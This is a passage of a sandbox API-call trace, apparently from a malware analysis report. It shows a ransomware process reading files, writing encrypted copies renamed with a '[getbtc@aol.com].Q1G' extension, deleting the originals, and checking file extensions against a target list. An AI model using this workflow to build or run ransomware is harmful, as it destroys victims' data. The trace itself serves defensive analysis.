Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 0x20 [0056.901] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0056.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0056.902] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.902] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0056.902] GetLastError () returned 0x0 [0056.902] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x1204, lpOverlapped=0x0) returned 1 [0056.903] WriteFile (in: hFile=0x190, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x1210, lpOverlapped=0x0) returned 1 [0056.904] ReadFile (in: hFile=0x214, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0056.904] WriteFile (in: hFile=0x190, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0056.905] SetEndOfFile (hFile=0x190) returned 1 [0056.905] CloseHandle (hObject=0x190) returned 1 [0056.905] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.905] SetEndOfFile (hFile=0x214) returned 1 [0056.906] CloseHandle (hObject=0x214) returned 1 [0056.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0056.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04195_.wmf")) returned 1 [0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0056.906] lstrlenW (lpString=".doc") returned 4 [0056.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.906] lstrlenW (lpString=".docx") returned 5 [0056.906] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.906] lstrlenW (lpString=".pdf") returned 4 [0056.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.906] lstrlenW (lpString=".xls") returned 4 [0056.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.906] lstrlenW (lpString=".xlsx") returned 5 [0056.906] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.906] lstrlenW (lpString=".ppt") returned 4 [0056.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0056.906] lstrlenW (lpString=".zip") returned 4 [0056.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.906] lstrlenW (lpString=".rar") returned 4 [0056.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.907] lstrlenW (lpString=".bz2") returned 4 [0056.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.907] lstrlenW (lpString=".7z") returned 3 [0056.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0056.907] lstrlenW (lpString=".dbf") returned 4 [0056.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0056.907] lstrlenW (lpString=".1cd") returned 4 [0056.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0056.907] lstrlenW (lpString=".jpg") returned 4 [0056.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0056.907] lstrlenW (lpString=".doc") returned 4 [0056.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0056.907] lstrlenW (lpString=".docx") returned 5 [0056.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0056.907] lstrlenW (lpString=".pdf") returned 4 [0056.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0056.907] lstrlenW (lpString=".xls") returned 4 [0056.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0056.907] lstrlenW (lpString=".xlsx") returned 5 [0056.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0056.907] lstrlenW (lpString=".ppt") returned 4 [0056.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0056.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0056.907] lstrlenW (lpString=".zip") returned 4 [0056.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0056.907] lstrlenW (lpString=".rar") returned 4 [0056.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0056.907] lstrlenW (lpString=".bz2") returned 4 [0056.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0056.908] lstrlenW (lpString=".7z") returned 3 [0056.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0056.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0057.198] lstrlenW (lpString=".dbf") returned 4 [0057.198] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0057.199] lstrlenW (lpString=".1cd") returned 4 [0057.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04195_.WMF") returned 63 [0057.199] lstrlenW (lpString=".jpg") returned 4 [0057.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.199] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0057.199] lstrlenW (lpString="BD00116_.WMF") returned 12 [0057.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 12 os_tid = 0x9bc [0034.388] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x5f08b8 [0034.388] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3730048 [0034.389] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0170 [0034.389] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5640f0 [0034.389] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b0188 [0034.389] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x3830020 [0034.389] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b01a0 [0034.389] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b01a0, Size=0x20) returned 0x566728 [0034.389] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b01a0 [0034.389] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b01a0, Size=0x20) returned 0x566700 [0034.389] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.390] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0034.390] Wow64DisableWow64FsRedirection (in: OldValue=0x2dbff58 | out: OldValue=0x2dbff58*=0x0) returned 1 [0034.390] lstrlenW (lpString="kernel32.dll") returned 12 [0034.390] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566728 | out: hHeap=0x510000) returned 1 [0034.390] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0034.390] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x566700 | out: hHeap=0x510000) returned 1 [0034.390] Sleep (dwMilliseconds=0x64) [0034.593] lstrcmpiW (lpString1=".ini", lpString2=".Q1G") returned -1 [0034.593] lstrlenW (lpString="desktop.ini") returned 11 [0034.593] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0034.593] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=129) returned 1 [0034.593] CloseHandle (hObject=0x15c) returned 1 [0034.593] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0034.593] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0034.593] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0034.593] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.593] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.594] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0034.596] GetLastError () returned 0x0 [0034.596] ReadFile (in: hFile=0x15c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x81, lpOverlapped=0x0) returned 1 [0034.609] WriteFile (in: hFile=0x160, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x90, lpOverlapped=0x0) returned 1 [0034.610] ReadFile (in: hFile=0x15c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.610] WriteFile (in: hFile=0x160, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xea, lpOverlapped=0x0) returned 1 [0034.610] SetEndOfFile (hFile=0x160) returned 1 [0034.610] CloseHandle (hObject=0x160) returned 1 [0034.612] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.612] SetEndOfFile (hFile=0x15c) returned 1 [0034.612] CloseHandle (hObject=0x15c) returned 1 [0034.613] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x26) returned 1 [0034.613] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 1 [0034.613] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.613] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.613] lstrlenW (lpString=".doc") returned 4 [0034.613] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0034.613] lstrlenW (lpString=".docx") returned 5 [0034.613] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0034.613] lstrlenW (lpString=".pdf") returned 4 [0034.613] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0034.613] lstrlenW (lpString=".xls") returned 4 [0034.613] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0034.613] lstrlenW (lpString=".xlsx") returned 5 [0034.613] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0034.614] lstrlenW (lpString=".ppt") returned 4 [0034.614] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0034.614] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.614] lstrlenW (lpString=".zip") returned 4 [0034.614] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0034.614] lstrlenW (lpString=".rar") returned 4 [0034.614] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0034.614] lstrlenW (lpString=".bz2") returned 4 [0034.614] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0034.614] lstrlenW (lpString=".7z") returned 3 [0034.614] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0034.614] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.614] lstrlenW (lpString=".dbf") returned 4 [0034.614] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0034.614] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.614] lstrlenW (lpString=".1cd") returned 4 [0034.614] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0034.614] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.614] lstrlenW (lpString=".jpg") returned 4 [0034.614] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0034.614] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.614] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.614] lstrlenW (lpString=".doc") returned 4 [0034.614] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0034.614] lstrlenW (lpString=".docx") returned 5 [0034.614] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0034.614] lstrlenW (lpString=".pdf") returned 4 [0034.614] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0034.614] lstrlenW (lpString=".xls") returned 4 [0034.614] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0034.614] lstrlenW (lpString=".xlsx") returned 5 [0034.614] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0034.615] lstrlenW (lpString=".ppt") returned 4 [0034.615] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0034.615] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.615] lstrlenW (lpString=".zip") returned 4 [0034.615] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0034.615] lstrlenW (lpString=".rar") returned 4 [0034.615] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0034.615] lstrlenW (lpString=".bz2") returned 4 [0034.615] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0034.615] lstrlenW (lpString=".7z") returned 3 [0034.615] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0034.615] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.615] lstrlenW (lpString=".dbf") returned 4 [0034.615] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0034.615] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.615] lstrlenW (lpString=".1cd") returned 4 [0034.615] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0034.615] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini") returned 74 [0034.615] lstrlenW (lpString=".jpg") returned 4 [0034.615] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0034.616] lstrcmpiW (lpString1=".LOG", lpString2=".Q1G") returned -1 [0034.616] lstrlenW (lpString="BCD.LOG") returned 7 [0034.616] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.616] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.616] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.616] lstrlenW (lpString=".doc") returned 4 [0034.616] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0034.616] lstrlenW (lpString=".docx") returned 5 [0034.616] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0034.616] lstrlenW (lpString=".pdf") returned 4 [0034.616] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0034.616] lstrlenW (lpString=".xls") returned 4 [0034.616] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0034.616] lstrlenW (lpString=".xlsx") returned 5 [0034.616] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0034.616] lstrlenW (lpString=".ppt") returned 4 [0034.616] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0034.616] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.616] lstrlenW (lpString=".zip") returned 4 [0034.616] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0034.616] lstrlenW (lpString=".rar") returned 4 [0034.616] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0034.616] lstrlenW (lpString=".bz2") returned 4 [0034.616] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0034.616] lstrlenW (lpString=".7z") returned 3 [0034.617] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0034.617] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.617] lstrlenW (lpString=".dbf") returned 4 [0034.617] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0034.617] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.617] lstrlenW (lpString=".1cd") returned 4 [0034.617] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0034.617] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.617] lstrlenW (lpString=".jpg") returned 4 [0034.617] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0034.617] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.617] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.617] lstrlenW (lpString=".doc") returned 4 [0034.617] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0034.617] lstrlenW (lpString=".docx") returned 5 [0034.617] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0034.617] lstrlenW (lpString=".pdf") returned 4 [0034.617] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0034.617] lstrlenW (lpString=".xls") returned 4 [0034.617] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0034.617] lstrlenW (lpString=".xlsx") returned 5 [0034.617] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0034.617] lstrlenW (lpString=".ppt") returned 4 [0034.617] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0034.617] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.617] lstrlenW (lpString=".zip") returned 4 [0034.617] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0034.617] lstrlenW (lpString=".rar") returned 4 [0034.617] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0034.617] lstrlenW (lpString=".bz2") returned 4 [0034.617] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0034.617] lstrlenW (lpString=".7z") returned 3 [0034.618] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0034.618] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.618] lstrlenW (lpString=".dbf") returned 4 [0034.618] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0034.618] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.618] lstrlenW (lpString=".1cd") returned 4 [0034.618] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0034.618] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0034.618] lstrlenW (lpString=".jpg") returned 4 [0034.618] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0034.618] lstrcmpiW (lpString1=".DAT", lpString2=".Q1G") returned -1 [0034.618] lstrlenW (lpString="BOOTSTAT.DAT") returned 12 [0034.618] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0034.735] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2dbff1c | out: lpFileSize=0x2dbff1c*=65536) returned 1 [0034.735] CloseHandle (hObject=0x15c) returned 1 [0034.735] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat")) returned 0x26 [0034.735] GetFileAttributesW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0034.735] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0034.735] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.736] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.736] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\boot\\bootstat.dat.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0034.736] GetLastError () returned 0x0 [0034.736] ReadFile (in: hFile=0x15c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x10000, lpOverlapped=0x0) returned 1 [0034.739] WriteFile (in: hFile=0x160, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0x10010, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0x10010, lpOverlapped=0x0) returned 1 [0034.741] ReadFile (in: hFile=0x15c, lpBuffer=0x3830020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dbfed4, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesRead=0x2dbfed4*=0x0, lpOverlapped=0x0) returned 1 [0034.741] WriteFile (in: hFile=0x160, lpBuffer=0x3830020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dbfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3830020*, lpNumberOfBytesWritten=0x2dbfc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.741] SetEndOfFile (hFile=0x160) returned 1 [0034.742] CloseHandle (hObject=0x160) returned 1 [0034.743] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dbfec8 | out: lpNewFilePointer=0x0) returned 1 [0034.743] SetEndOfFile (hFile=0x15c) returned 1 [0034.744] CloseHandle (hObject=0x15c) returned 1 [0034.744] SetFileAttributesW 